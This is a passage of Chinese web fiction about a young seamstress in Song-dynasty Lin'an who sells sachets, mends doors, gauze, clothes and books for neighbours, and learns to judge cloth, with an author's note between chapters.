当然钱给得多,啥活都可以接,她为了钱违背自己的良心。 林秀水回去数钱,她将钱囊倒在桌上,哗啦啦一堆铜板,她哼着调一个个数。 数完一遍,不信又再数一遍。 一日从头到尾她赚了两百七十三文钱! 她坐在椅子上,摇摇晃晃的,差点把椅子给弄折了,她连忙起身,“好险好险。” 林秀水又笑眯眯的,她将钱分作两份,多的那一份攒着买布料、丝线和工具,剩下的则得买米,米缸要见底了。 她要带小荷出去,给小荷梳三丫髻,戴她新做的红色发带,簪两朵小荷花,又戴上猫猫香囊。 小荷臭美得很,一蹦一跳往街上去,早前每次过节,她娘都忙,她只能看其他小孩出去,她自己躲门后头瞧,谁来拍门她都不应,假装自己不在家。 这会儿能出来玩,小荷跟每个碰见的小友都说:“我阿姐带我去瞧热闹,我也上南货坊去。” 有人问林秀水怎么歇工了,林秀水面上笑道:“听说南瓦子那顶热闹,我们去瞧瞧。” 一路上全是卖花的小贩,来往娘子郎君尽簪花,连街边门檐上下也挂满绢花或是生花朵,桥头边的桑柳两树,有小娃去挂上红布条,谓之赏红。 有人在发红布条,林秀水上前要了根,抱起小荷,小荷高举着手将布条挂在桑树枝上。 “小荷,你真重啊,”林秀水抱她抱得两手颤颤。 小荷赶紧跳下来,笑嘻嘻地伸手,“那我抱阿姐。” “可别,不是怕你抱不动,是怕我自个儿摔了。” 林秀水又见路边有卖果子的,这果子不是鲜果,而是蜜饯,有十般糖、甘露饼、爊木瓜、糖脆梅等等,她给小荷买了包蜜枣儿。 到南瓦子时,那些路岐人正在摆弄傀儡,用丝线悬挂的,叫悬丝傀儡,林秀水看不懂演的是什么,小荷却瞧着津津有味。 她俩挤在人群里看了好几场,看不懂也在那捧场叫好,林秀水又带小荷逛了逛,小荷只逛只看却不买。 她都说不要,哪怕馋得咽口水也不要,她说自己肚子小,眼睛大,让眼睛先吃。 两人又逛到扑买的地方,小春娥之前说让林秀水做了香囊卖给这些小贩,她记住了,这会儿也拿了香囊过来。 毕竟在她摊子上卖不了太多,要买也是零星几个,她更想有比较稳定的卖香囊生意,靠她自己的话,只能是散卖。 但这扑买摊子实在多,围着摊子扑买的人挤挤挨挨,林秀水只听一阵欢呼雀跃,那欢腾的手臂差点砸到她的脸。 她赶紧拉小荷走开,这样兴盛的扑买摊子大多也不需要她的香囊,倒是一些没多少人的,扑买的东西又跟香囊沾不上边。 最后在边角找到一个扑买摊子,那守着摊子的是个年轻的娘子,怀里抱着小孩,大概两三岁的模样。 那娘子很友善,一见她们来便笑容满面,“我家小囡正睡呢,你们看中了什么先扑。” 林秀水看了眼那摊子上的东西,是些荷包、小头巾、抹额之类的,样式和颜色都不大出彩,针脚倒还算行。 她猜应该是这娘子自己做的,不是市面上来的,有些过时。 林秀水也直接,没有过多拐弯抹角,从布袋里拿出自己的香囊问:“娘子,你瞧瞧,这些样式的香囊能不能放你摊子上卖?” 姚娘子没想到她的举动,有些愣神,又笑容温和接过来,她自己是个半路裁缝,东西好不好自然能看得出来。 这香囊一握到手里,她先是被这猫头香囊形状吸引到,实在是很新奇,拿在手里翻来覆去地瞧,想着小娃一定很喜欢。 又看那绣了杏花、桃花、梅花三种样式的,摸摸这凸起来的花纹,按一按,软软的,花纹很秀致,颜色也耐看,青绿、浅红、浅黄,她自己很喜欢。 更不用说那花囊,从前她见过其他形制的,一个便要百来文,但样子好看,买的人多。 她确实有些心动,自己摊子生意不好也知道,只是市面上寻常的荷包、香囊动辄三五十文起,她也没法子一气买好多个。 姚娘子咬着唇,有些犹豫道:“不知小娘子这一个要卖多少银钱?” 林秀水手里牢牢牵着小荷,一边跟姚娘子谈生意:“我单个卖贵上一些,娘子要是肯试试摆摆,我能便宜些,这猫头香囊五文最低了,倒是花囊可以十七文,这绣花的十三文,你看如何?” “真卖这个价?”姚娘子差点忘记自己怀里孩子,想要站起来。 林秀水肯定地冲她点头,“姚娘子要是不放心,可以签个契,以后卖东西便是这个价。娘子你不认识我,我住桑树口旁打头第二间,平常卯时出摊,到桑树就能瞧到。” “我不是这个意思,只是想绣得这样精细,才卖这个价,卖给我有些亏了,”姚娘子说的是真心话,她笑笑,“你看看外头人那样多,我这摊子却没什么生意,你就算卖给我,也只能做一笔生意,没法长年累月的。” 林秀水说:“万一娘子你生意起来了呢?不如先试试,我也没有一定要娘子跟我做回头生意。” 姚娘子实在中意,但她手里银钱不多,又自觉生意不好,只买了五个猫头香囊,两个花囊,两个绣花香囊,总是八十五文,林秀水小赚一笔。 等林秀水走后,姚娘子将这些香囊翻来覆去看一遍,觉得这样好的香囊,自己不可能看走眼的。 她想博一把试试,将从林秀水那买的香囊挂在彩棚架底下,有人过来一眼能瞧见的地方,特意用绳子拴住,要叫花囊晃起来。 人对摇晃的东西总比较敏感,尤其这花囊摇摇晃晃,那开口处的花朵像真花在晃动,今日又是花朝节,大家对花相关的东西格外在意。 当即便有两位小娘子走过来,等走到了近处,又惊叹一声,“这原是开口袋,我远远敲着竟以为是朵大花,这猫脑袋也别致,谁想出来的,真逗趣,我要博上一博。” 姚娘子喜不自胜,连忙拿来陶盆,想着要是生意好,明早便去桑树口找林小娘子说一声。 至于她惦记的林小娘子,已经逛完回去,拿从她那赚的钱,买了六升米,眼下一升米要二十文一升,三口人再省,两天也得吃一升米。 到家时,王月兰已经回来,今日花朝节她都在上工,染肆那里叫她搬染架,衣裳全是蓝料不说,连头上和脸上也沾了不少,洗不干净。 她在面盆里用力搓,又转过头来问道:“阿俏,桌上的蛋是不是你买的,怎么买了这么多,你还买了两只鸡仔?” 林秀水握住米袋两个角,让米倒进米缸里,她一脸得意地说:“那可不是我买的,是治了别人鸡送我的。” “姨母,你说我当初要是学医术,眼下是不是能当个女医?” 王月兰瞧她一眼,“你照照自己的脸,看看到底有多大?” “不大啊,”林秀水说,“再大点就好些了。” 她故意逗王月兰的,又从身后掏出两朵花,一朵桃花,一朵瑞香花,“呐,我给姨母你买的,等洗完头,赶紧簪上,今日我来下厨,我赚了好多好多钱,买了米,还买了斤肉,” 小荷也凑过来,她笑嘻嘻地说:“我也有花哦。” 王月兰则蹲下身子,将头靠过来,“别管洗不洗头,快给我簪上,我也享我家阿俏的福,今儿个应应景。” 林秀水给她扎上,露出小小的笑容,她想,手里有点钱真好。 夜里睡下的时候,林秀水又做梦了,她已经很久没再做梦。 但梦里不是跟裁缝相关的,而是她自己,她又梦见自己每天出门借钱,给娘买药煎药,借不到钱的日子就去抓田鸡、黄雀,帮别人养她最害怕的大鹅。 不过比起大鹅,她更害怕没钱,她吃了太多没钱的苦头。 当然梦里当大鹅张开大嘴,扑过来咬她的时候,林秀水吓醒了,她坐起来,摸摸自己怦怦乱跳的心,她喃喃自语,“还是大鹅可怕。” 她想吃大鹅。 林秀水还没缓神过来,王月兰在屋外喊:“哎,阿俏,你下楼看看去吧,有人拿了个大件来寻 你补呢,就搁我们门口。” “好,”林秀水起来穿衣裳,她揉揉自己乱糟糟的头发,早知道昨日不洗了,眼下用篦子都梳不直,打了好些结。 自打好些人认识她后,林秀水早上多睡会儿都不行,大伙全赶着她要去上工前来找她。 一问为什么不去别的摊子补,有人告诉她,价钱跟她差不多,但手艺可差太多了,宁可绕个远路也得上来这。 林秀水既感谢大家地抬爱,又累得不想动弹,她咬一个饼子过去开门,眼下这卯时都没到呢。 一开门,她还以为又多了扇门。 她揉揉眼睛,以为自己没睡醒,就听那门后有声音,她又疑心还在梦里,门也会说话了。 直到门后有人说:“小娘子,我在前头呢,我把家里头门卸下来寻你补一补呢。” 难为你有这么大的力气,林秀水真挺佩服。 她让人先把门抬进门里来,架在两条长凳上,她瞧瞧能不能补。 这门是黑漆的,上头有直棂格,格子里糊的是绢布,那绢全裂成一条条的。 林秀水摇摇头,“我补是补不了的,绢碎成这样,除了全换掉,也没有旁的法子。” 那郎君说:“我不是为补绢来的,就这绢当时用什么东西涂的,我压根不清楚,扯也扯不下来,想换绢布也没法子。” 林秀水撩起裙子,蹲下来在上头嗅了嗅,味道早就嗅不到了,她摸摸那绢布上的痕迹,结成块硬邦邦的,很像她昨日用的鳔胶水。 她便说:“这木头用滚水浇成不成?” “咋不成,这都上过广漆的,尽管浇。” 林秀水起身往屋里去,从灶口处拿了汤壶,又拿个大木盆垫在下头,她先顺着最边缘开始浇,试试有没有用。 浇淋一会儿,等木格上滚滚白气跑光了,她上手撕了撕,能撕动,不会将黑漆带下来。 她便笑道:“是用鳔胶水粘的,它怕热,用滚水淋一淋就能撕下,郎君要是在我这撕,得给三文钱,拿回家中去不要钱。” 那郎君喜道:“我娘子不信,我就说到小娘子你这来指定不出错,我在小娘子你这撕,我信你的手艺,我们粗手粗脚的,等会儿把门给撕烂了。” 林秀水笑笑,她手稳又准,后头淋完,转而撕前头的,撕得干干净净,纵是有一点带胶痕的,她都会用布泡在热水里,盖上,一点点擦到反光。 那郎君感慨于她的细致,说三文钱不值当,林秀水给他搭把手,让他能把门放到独轮车的车架上,确定稳固后才道:“三文钱也是你们辛苦赚的,不能叫郎君你下力气,赶这么老远过来,还要看我糊弄了事。” “下回有事只管来找我,慢些着走,这路上有石子。” 林秀水送他到路口,见有两三个娘子搭伙走来,朝她招手,便又走了几步上前。 “阿俏,这么早就有开门生意了,真不得了,”一个娘子笑盈盈地说,又扯着领抹处叫林秀水瞧,“上回你说用粗盐磨细盐去焦痕,我原还有几分不信,照你说的试了试,等日头晒透了,真没了。” “我这是还谢礼来了,诺,这是我自己绕的蚕丝,我特意煮过了,你拿去用。” “还有我的,本想找你补补,你非说我那簪子是小毛病,给我挑一挑,补一圈就成,不收我钱,我也拿蚕线来还你。” 林秀水真心觉得这些都是顺手的事,压根不值得来还礼,又架不住人家塞过来,只好说:“那下回衣裳有问题来找我,不收钱的。” 那三个娘子说完话也不走,相互推推,有个娘子说:“阿俏,你叫我们在旁边坐着瞧瞧呗,我们保证不打搅到你。” “只是那回那看你补灯笼,怪有意思的,这手一上一下地翻动,那灯笼就补好了,前头我们憋着气瞧的,后头那一补好,我就觉得心里头多畅快都不知道,回去连睡前也在想你那手艺。” 林秀水听了不免好笑,“娘子们要想来瞧,自己带了凳子过来坐,不过我也不是日日有织补活计的。” 她其实还是不懂这几个娘子,她们想看的是她这个独一份的手艺,不管补什么,她们都稀罕。 所以从这日早上起,林秀水缝补东西有了看众,每次补完就会拍手叫好的那种。 而林秀水被人盯着缝补,压根没有一点压力和不自在,她生怕别人看不见她日夜苦练的手艺。 手艺不当众给人瞧,那便犹如“锦衣夜行”,她做不到,她要有锦衣,恨不得敞着走。 当然到林秀水这里当看众的,也根本没有失望的时候,就算送来补的东西实在普通,经林秀水的嘴巴一讲一说,经由她的手一动一补,比看南瓦子的路岐人喷火药都要来得舒坦。 就好比补这个纱橱。 既刚起早给门除胶,这大早上的,又有人不费艰辛,把自家的纱橱运过来,让她补一补。 林秀水晃了晃那橱门,很老旧了,底下榫卯相接的地方也不大牢固,倒是那纱刷得很干净,上头有十来处明显的裂痕,纱抽丝了。 临安从唐朝起就有了纱,到了这会儿,纱的种类更多,林秀水在成衣铺里摸过,有素纱、天净纱种种,这橱柜用的便是素纱。 后头看的娘子说:“我晓得,是不是要织补?” 林秀水笑笑,走回去找针,她回了句,“差不多,我管这叫加纱。” 那来补纱橱的老丈原本还不信儿子的话,一听林秀水胸有成竹的语气,看她那架势,不免觉得有看头,也凑过去瞧。 林秀水先把橱门拆下来,用布擦擦边角,平放在自己的宽桌板上,正常从底下取原线,但这次取完线,需将线穿过孔眼很小的纱里,补上这七八处抽出来的丝。 一是考验眼力,要是上下穿错行,又得抽出大半来,二是手稳,手不稳,粗针一偏,在纱布会留个大孔眼,很麻烦。 林秀水晃了晃手,擦干手心里的汗,将左手贴在纱布底下,右手穿针带线,让针极为缓慢地穿过第一个孔眼。 针头大,而孔眼只比针尖略大,很容易崩破。 所幸很顺利,她呼了口气,接下来便是在纱里上下挑线,找到相隔的孔眼,看得人都忍不住眨眼,偏林秀水一口气补完了一条。 她用针头刮了刮线,原本有一道抽丝过的细痕,在她的拨动下,眨眼便消失了,跟没坏过的一样。 那老丈拍手叫道:“好!” “这手艺真绝了!” 林秀水眨眨眼睛,也不理会众人的夸奖,她开始加第二条纱,有了加第一条纱的手感和经验,加第二条的时候动作便快了起来。 到后面,一气补完第三条、第五条,第八条,补完叫人老丈对着光瞧瞧,看看前后有没有出线的地方。 那老丈啧啧称奇,他很实诚地说:“我真找不出原来勾线的地方在哪。” 说得其他人一阵笑。 补一根短纱三文钱,长纱五文钱,林秀水收了二十四文钱。 晚点林秀水收了摊,其余几位娘子心满意足回去,其实还没到她要去成衣铺上工的点,只不过瞧见了站在不远处的姚娘子。 缝补赚得钱少,又辛苦,谁来盯着她看,给她数钱都可以,但是香囊这种赚得多,林秀水谁也不说,闷声发大财,她想发大财。 “小娘子,”姚娘子跑上前来,“我昨儿拿你的香囊挂上去了,来扑买的人不少,全是沾了你的光,赚了比我平日多的钱,我心里实在过意不去,想着分” “别,”林秀水连忙打断,“这卖出去的东西便是卖出去了,娘子赚了多少钱都与我无关。” “生意好是好事呀,我还想多卖点香囊,正好不用自己操心。” 姚娘子这种老实人做生意,占了别人便宜总是不安心的,哪怕她也确实缺钱。 “那,要不” 林秀水笑道:“进屋里来坐坐吧,我手里也没有太多香囊,毕竟我只有一双手,倒是还有些别的,像是猫头鞋、虎头鞋,娘子要是看得过眼,也可以摆 摊子上。” 说起来她上次卖的猫头鞋鞋面,只卖出去几双,后头压根没有人再过来买,但是满巷子的小孩都穿上猫头鞋了,这布样学学还是太容易了。 所以林秀水还积压了好几双,正好姚娘子瞧得上,先卖给她,总有六十五文。 至于香囊,林秀水没做完,她裁剪好样式,来不及缝合,姚娘子要得多,她只能做点给点。 歇工一天,又到要去成衣铺熨布了,林秀水也会偷懒不想上工,她真佩服她姨母能一年有三百五十日能准时准点上工。 她基本掐点到的,早到早熨,工钱又不会多一文。 进了成衣铺大门,顾娘子喊住她,“阿俏,今日有十来条满裥裙要拿来熨。” 林秀水呆呆地将脑袋转过去,用食指指了指自己,“我吗?” 顾娘子不解:“不是你熨还有谁?这里有第二个人?” 天塌了,山崩了,水枯了,林秀水真想找个人帮她把天给顶起来。 “那个娘子,”林秀水努力给自己争取,“真就我一个人熨吗?褶子那么多,要先打理褶子,再熨重痕,平烫反熨,真的有些麻烦,这熨裙子绝大多数时间便费在这上头。” 而且她真的很想裁衣,缝衣,不只是每日枯燥地来回重复一个活。 顾娘子听出了她的言外之意,这雇人是得多出一份钱的,当然她也确实不想让林秀水以后只熨布,总有人要来接她的活。 “这样,”顾娘子拨动着算盘,算了下后道,“我叫小春娥二姐过来帮你,你看看人能不能用。” 林秀水高兴地直点头,她猛猛谢过一番顾娘子后,转头告诉小春娥这个消息。 “你是说,”小春娥一字一顿,“要叫那个有无比蛮力,一只手能把我拎起来,甩过来,甩过去的大春玲来熨布吗?” “不如把我当布熨了吧…”—— 作者有话说:这几天都是凌晨十二点差不多更新,不好意思打乱时间了,等上夹后会恢复正常更新。 发红包[加油][撒花] 第23章 第 23 章 奇怪的单子【三】 刚听大春玲这个名字的时候, 林秀水很疑惑。 明明姐妹俩姓姚,怎么一个称大,一个叫小。 直到她看见大春玲, 再也没有任何的困惑。 小春娥矮矮的,脸圆又小,而大春玲, 个头高挑,脸有些方,右脸长颗黑痣,体格十分健硕。 她毫不夸张地想, 大春玲能一手抡起一个林秀水。 小春娥蹑手蹑脚走到林秀水身后,戳她后背怂兮兮地说;“瞧见了没,我们俩再多两个也打不过她。” 林秀水却仍有点不敢相信, 手指来回在两人身上转圈,“你们真是姐妹?” “不是,”两人异口同声。 小春娥说:“是前世的冤家。” 大春玲简短地回:“屁话。” 林秀水哈哈大笑,“怪我,怪我,玲姐儿不如先跟我打理下褶子。” 由于大春玲十六岁,比林秀水要大上些, 她也不好直呼大名。 小春娥跺脚, “阿俏, 你怎么不叫我娥姐儿, 呸,好难听,那娥妹儿” 她放弃,“算了, 我还是继续我的烧火大业去吧。” 林秀水失笑,又问大春玲,“玲姐儿,你从前有没有熨过布?” “没熨过,炙过肉算不算,”大春玲说,“我炙的肉正反一个色。” “那很好吃了,”林秀水脱口而出,她意识到自己说了什么,咳了声,“我是说熨布跟炙肉差不离,肉和布都不能焦,焦了那真是罪过。” 林秀水边走边说:“当然你炙肉前肯定要先挑,再洗,后切,最后烤,熨布也一样,先挑要熨的布或是衣裳,摸一摸,知道是什么布。” 她走到要熨的满裥裙前,用手捏起裙角揉了揉,“像这种裙子是细葛做的,质地轻,很容易吸水,所以在打理褶子时,手要轻,按压重的话,很容易留痕,当然留了痕也不打紧,用其他布沾水再熨熨平整。” “而且葛布织的花纹,是有明显凸纹的,这种横向的凸纹,在上褶时便得注意对齐整,没对齐,熨的时候会歪。” 林秀水旁的不担心,最担心大春玲的力气,熨布得轻细,不宜重手重脚。 大春玲有自己一套问法,“要多轻,是做鸡丝签剥鸡丝那样轻,还是腌鱼用盐和红曲抹面那样轻,或是做面棋子揉面那样轻?” “我剥鸡丝手最轻,揉面手重些。” 不怪大春玲这样问,她是给她娘做饭打下手的,她娘时常嫌弃她手重,糟践东西,她便每次做东西时,都得细细问一番。 林秀水听得咽了咽口水,“那你按你剥鸡丝的那样来试试,把这褶子弄齐整,抚平。” “哎呀,太轻了,”林秀水摇摇脑袋,“再瞧瞧揉面的手重呢?” 她又连忙说:“哎呀,玲姐儿,重了重了,你拿腌鱼这样的来,哎,对了,就是这样的轻。”林秀水发觉大春玲真是很奇,这种奇在于她能够完全控制自己的力道,轻重落点一致,褶子要重新打褶,她能将布面的横向凸纹对齐到分毫不差。 她实在是羡慕,但大春玲说:“练刀功练的。”这又是大春玲很奇的一点,她每句话都能绕到做菜上。 当然林秀水也耐不住好奇心,问她,“那怎么不继续做菜?” 因为大春玲自己想在灶房帮忙的话,顾娘子不会强求她来的。 大春玲低头理布,她有些难以启齿,最后实话实说:“吃得太多,我娘叫我上这混一顿饱饭。” 林秀水却想得是,那真是造孽,这里的饭那么难吃,还要吃饱,比受刑还折磨。 两人正有一搭没一搭说着,顾娘子迈步进来,问林秀水:“春玲做得怎么样?” 林秀水真心实意道:“人聪明,一点便通,干活利索还快,娘子你选的人真好。” 顾娘子笑了笑,“那你让春玲先打理褶子,你随我出去一趟,认认布。” 林秀水一听,先点头,等顾娘子出去后,她跟大春玲说:“我肯定要晚些才能回了,你早上打完四条裙褶就行,慢着点来,你打褶太快,我来不及熨的。” 她就差摇着大春玲的身子告诉她,别累着,要休息,你太勤快会把我给累死的。 林秀水交代完才小跑出去,顾娘子在门口等她,见她来了便说:“今日我带你去布行里,瞧瞧那些布料,我请了个老师傅给你讲讲,你眼下是会熨布,我想你认些布料好坏。” 其实是防成衣铺采买布料时,好布跟差布一同混进来,采买不会全部摊开看,会一寸寸看过去只有熨布的。 路上顾娘子又提点林秀水,“你到时多听听,想裁衣还要多学着点,什么样的布做什么样的衣裳合适。” 林秀水点头,这还是她第一次到布行里去,布行一股浆水皂角混合着熏香味,酸溜溜,香臭香臭的。 里头有成排的木架,每个横架上挂满布匹,中间则摆放长桌,上头也堆满布匹,时而有拿着大剪子的裁缝穿来穿去。 林秀水看得眼花缭乱,她没见过这样多的布,成百上千的布匹在她眼前展开,花色缭乱到她分不清是什么布。 顾娘子领个穿得很板正的老婆婆过来,“阿俏,叫她布婆,你跟布婆多学学。” 布婆是早前在布匹行当里混的牙婆,由于眼力太好,出马采买的布匹没有差的,被布行请了过来掌眼。 林秀水跟她一早上,只认了每匹布料有没有上好浆,在布匹行当里,上浆是重中之重,称为老虎口。 上好浆的布料硬挺光洁,不容易起皱,没上好浆的各有各的问题,堆结在布上的毛头块,或是刷浆又遇大风,那布料必定空松,跟绣花枕头一包草一般。 其实看布门道很深,不说上浆,便是经纬线、织工、布色仅这三样,就够好些人学五六年了。 林秀水辨别了大半日的布料上浆,每一匹要摸要看,要细细比对,头昏眼花,布婆说叫她先 学半个月。 以至于回到成衣铺,她眼神乱飘,回去便说:“能在布行里干的,那可是一等一的好眼力。” 小春娥拿个包子堵住她的嘴,“你可快吃吧,冷了真不能吃了,热的还能吃一口。” 林秀水咬了口怔住,满脸无语,灶房又开始他们的拿手绝活,面包面。 至于大春玲,她默默起身,一路走到灶房里去,过了许久才回来,端来一盆热腾腾的疙瘩面。 林秀水惊讶:“老天,你上哪弄来的?” 小春娥面不改色,“指定从灶房那来的。” “他们说有本事自己烧,”大春玲放下盆道,“我就自己烧了。” “说有本事以后都自己烧,我说有本事。” 林秀水听呆了,这可真是有本事。 吃了大春玲烧的疙瘩面后,林秀水已经彻底为她折服。 折服于她的还有小春娥,不过那是被迫,等到钟鼓敲响,下工老实回家。 今日林秀水有了帮手,熨布顺畅多了,总算不用在各种小事上费许多工夫,一气能熨三条满裥裙。 同她姐妹俩告别,林秀水穿桥过河回桑桥渡,她到桑树口时,那底下已经围了好些人。 她嘀咕:“总不能是来寻我的吧。” 没想到还真是,她刚一露脸,眼尖的娘子站起来道:“阿俏回来了,你快去,叫她瞧瞧看能不能补。” “阿俏,你可算回来了,这张老丈在这等你许久了。” 林秀水正想回去喝口水,此时只好大步走过去,问道:“补什么衣裳?” 那头发花白的张老丈哆哆嗦嗦,连话也说不清,他娘子陈花婆接了嘴:“你说说这老头,图便宜到呵故衣的那去买衣衫,要说买的衣裳能穿上几日,我们余话少说。” “结果倒好,”陈花婆抖抖手里的黑色缎面衣裳,背后纹绣处有个大洞,“说是那卖故衣的那地方,黑灯瞎火,我家官人说摸着是绸缎的,上上下下摸了个透,半个洞,裂口什么都没有。” “拿回家里一摸,咋后背处薄透透的,对着光一瞧,好家伙,原是用纸样当绣布给补了这个大窟窿!” 陈花婆气极了,“你们就说这做买卖的丧不丧良心,花了五百文买件破洞衣裳,找人说理去,人早不晓得跑哪去了。把这老头气的,我们上太平熟药局又花了大半贯买药。” “钱也花了,我家媳妇劝我来这补补,总不值当为件衣裳气坏了身子。” 其他人好言相劝,而那件绸缎面的衣裳转到林秀水手里,她伸手平摸,料子是好料子,用力往两边,往上下扯了扯,线没有裂口。 所以这件绸缎衣裳的问题是被烫了洞,里外两层烫穿,不然哪怕是旧衣,价钱也不会贱成这样。 当然也幸而到临安设府后,服饰制服乱了套,原先庶民只能穿黑白两色,不许穿麻葛绢之外的衣裳,而妇孺不受约制,但眼下他们也光明正大违制,服饰乱常,平民买缎衣充门面也不乏少数。 林秀水正想着,听有人说:“何止,那些卖故衣的,赚着丧良心的钱,我家中有门亲戚,买了件缎面衣裳,哪哪都好,穿了两日线全裂了,裂了后才知,那全是用布头拼缝的,你们说黑不黑心。” 她便接了句,“这呵故衣的也不全是黑心的,看是不是故意骗人,看他棚子,看他摊子,不见天光或是进了后看不清,那保管是衣裳有问题。” “寻常布料和衣裳,一到天光底下,有什么小毛小病的,全能瞧出来。” 林秀水说完,又转向陈花婆夫妻俩,“我知道,这被骗了难免要多气,气坏了身子又不值当。” “你们来寻我补,补到完全是件新衣不大行,里层肯定会瞧出来的,只能把外头补得像样点。” 陈花婆摇摇手,“别说那话,能将外头补好我们就谢天谢地烧高香了。” “阿婆,你们这件衣裳,得拆东墙补西墙,意思是我要把袖子拆两截下来,补到后背破洞处,不拆底下的,你们这件本就是短衣,再拆更短了。” 征得同意后,说好三十二文的价钱,林秀水将摊支好,凳子一放,立即开剪袖子,她已经用布尺测好距离,大概半指宽多点。 线得从底边抽,抽完线,缝回去后,她先补外层的洞,洞四边剪一个口子,折边折一段进去,袖口剪下来的同色布,从内层的洞穿过去,垫在里面。 垫补极为明显,哪怕颜色相同的,用的原线,也依旧能瞧出这块凹下去了。 其他人看得着急,林秀水不慌不忙,取了个绣绷给固定上,凹了再用刺绣补回来,她其实怀疑这刺绣也是卖故衣的绣补的,实在是黑色缎面,背后绣绿竹子,很突兀。 其实她补时便在想,要这对夫妻能接受,打补丁最好,她补不回原样,只能尽力折腾,让两人少想被骗钱的痛苦。 “阿公,阿婆,你们两个瞧瞧吧。” 林秀水缝完内里,将衣裳递过去。 老两口仔细打量,内里的一层有很明显的线缝痕迹,反正穿里头不打紧,至于原先明显的破洞,细瞧能看出针绣迹不同,颜色有差,边缘仍有凸起来的痕迹。 但远远的,谁也瞧不到,陈花婆图个衣裳能穿就行,只要能穿得出去,体面些,那这钱没白花。 她叫陈老丈穿上,给大伙瞧瞧,那些看众不免咋舌,有娘子说:“离个一步远便瞧不清了,哪像补过的。” “我这离两步远的,更看不出来,老丈,你放宽心,只管穿着,体面得很。” 陈老丈叹口气,“我,我再也不拣便宜了。” “贪便宜也有便宜的法门,”林秀水接过陈花婆的钱和道谢,转过脸来道,“买便宜衣裳,找要价便宜的我补。” 说得大家一阵笑声,说她是自卖自夸。 这衣裳补好了,陈花婆两人走后不久,蹿过来一个小郎君,个头刚比桌子高,背一个书囊,双眼通红地递过来一本《戒子通录》,抽泣着说:“阿姐,你帮我补补吧,我娘知道会抽我的。” 有相熟的娘子问:“这不是何家糖水铺的小儿子,刚下蒙学回来呀,” 小郎君先躬身行礼,再身子一抽一抽地道:“我的书破了,明日先生要讲的,补不好可怎么办?” 他兜不住眼泪,顺着两颊流下来,都怪他不好好把书放书囊里。 林秀水给他一块手帕,不免觉得好笑,小孩小小的,烦恼也小小的。 “怎么会补不好呢?你都上我这来了,我给你补得一模一样,”林秀水拍拍他的肩膀,又问他,“你都读了什么书?” 何小郎抹抹眼泪,“我读了《童蒙训》《十七史蒙求》《千家诗》《小学绀珠》…” 他念的时候,林秀水翻看这从中断成两截的书,密密麻麻的字,看得她眼睛疼,认得很费力,小孩启蒙可真不容易。 说实话,她还没看过书呢,倒是先补起了书,这种蝴蝶装形制的书,林秀水翻看几遍,懂了这是如何装帧的。 有字的一面向内折,然后一页页对折折好,二十来张纸的中缝粘在一张厚纸上,外面还有张厚纸做书面。 所以林秀水只需要用浆糊,把书撕碎的地方粘起来,中缝粘好,用重物按压。 等浆糊干的时候,林秀水又笑说:“下回可别甩着书玩了。” 何小郎使劲点头,他再也不敢了。 等书彻底修好后,何小郎的重担终于落下,他紧绷的脸露出个笑,要给林秀水行大礼,被林秀水拦住,“哎哎哎,别来这套,下了学赶紧回家去。” “我也不收你钱,费点浆糊的事,赶紧回去做功课。” 何小郎一日能从他娘那领两文钱,他今日没贪嘴买蒙学前的酥皮角儿,从书囊里掏出来,放在桌子上,再行礼后脚步欢快走了。 真好,不用挨竹条抽了。 林秀水拿小孩子没法,笑着看他一蹦一跳走远。 后头来摊子上的,要求便简单了许多,有补鞋底裂了要补鞋底的,林秀水没法补,但说:“补鞋底去桑水桥那里,打头第三个铺子,上头挂着个黑色鞋样子的,那老丈能补厚鞋底,他什么鞋底都有,你这种大概三五文的样子。” 有僧人来补法衣的,林秀水有些傻了,问僧人补前 要不要念句阿弥陀佛。搞得那僧人也笑,说她补的时候自己会给她多念几句经,让她放心些补,若实在不成,她补的时候敲木鱼子度化也成,林秀水拒绝了。 也有补帐幔的,那帐幔不是纱帐,不是布帐,是纸帐,那纸帐摊开要四个人拉,裂口在中间。林秀水用浆糊给它先粘了粘,确保并进去,然后在边上用粗针钻孔,取两股线左右交叉,跟绑鞋带一样绑起来。 等她缝好,其余在看的人眼神全是不可思议,有个胖娘子道:“想死想活,没想过这种法子,我家那顶纸帐剪得太早了些,不然凑合着还能用。” “吃了没脑子的亏。” 林秀水收了十文钱,扯了扯手上的浆糊道:“什么没脑子,各有各的本事,我就在缝补上头开的窍多,其他的那也是脑子空空。” “回家去吧,明日再来瞧。” 反正她累了,补个纸帐上蹿下跳的,不过赚的钱不亏,今日刚过百文,她真的真的要攒很多钱。 心里这么想,嘴里却跟王月兰说:“姨母,我觉得我还是得买点肉补补。” 王月兰递给她一个鸡蛋,斜眼看她,“我给你杀头猪来。” “一口气吃不成个胖子啊,”林秀水剥鸡蛋,她喊后门拿根木棍,除了吊根破绳啥饵都不吊的小荷,“来吃蛋,别整鱼不会上钩的东西了。” “那整点啥?”小荷虚心求学。 林秀水指指自己的后背,“你来给我捶捶,我告诉你。” 小荷扔下棍子跑过来,轻轻一顿捶,然后问:“阿姐,放什么?” “你最起码整个钩子啊。” 林秀水说:“好了,你还是同小花玩去吧,诺,给你做的布老虎,走出去溜一圈,别给我揽活,我没布了。” 小荷欢喜抱过布老虎,歪着脑袋说:“那你想想法子呗。” 王月兰晃晃手,“你边上玩去,把小花哄到我们院子里来玩。” 她又跟林秀水说:“你上次说要给布上色,你把布拿来,明日有个跟我相熟的娘子染蓝布,我同她说过,混些布头在她染缸里。” “只能染柔蓝色。” 林秀水想了想柔蓝色,颜色偏暗偏青,用来做领抹很合适,压得住色。 她上去将一半白布头拿下来,装在袋子里,问道:“姨母,麻不麻烦,麻烦的话” “麻烦,什么事不麻烦,”王月兰舀着汤回她,“你麻烦我是应该的,缝你的香囊去。” 林秀水转身走了,她缝不了香囊,手里压着不少活,一个个挑出来补。 包布边缝个新花边,新绳结,她从自己的布兜子里翻找,叹一声,压根没买,得自己从布条上裁了,绳结用绒线打。 再补三个麻袋,装了面的,一翻过来粉扑她脸上,林秀水呆了下,被整了个大白脸,送麻袋来的还说装的是花种的,被他给骗了。 她还补渔网,这个在上林塘时倒是补得多,上林塘有个大湖,里头专出鱼,捕鱼户很多,她那时给他们补渔网,一个大网才两文钱。 眼下她的身价已经不可同日而语,补一个渔网她能赚五文钱,整整多了三文钱! 不过她看看自己接的活,她坐在院子里,周围麻袋、渔网、面袋、灯笼,桌上是绢花、包布、抹额,旁边一处有盐袋、腰巾… 林秀水觉得自己真是陈桂花说的那样,穷得什么活都不嫌弃,跟收破烂一样。 她致力于多收点破烂,她赚钱,破烂能重新回到主人手里,不至于被丢掉。 真想请街上写酸文的秀才,给她写一副对联,上面便写烂了不要丢,补补还能用,横批,什么都补。 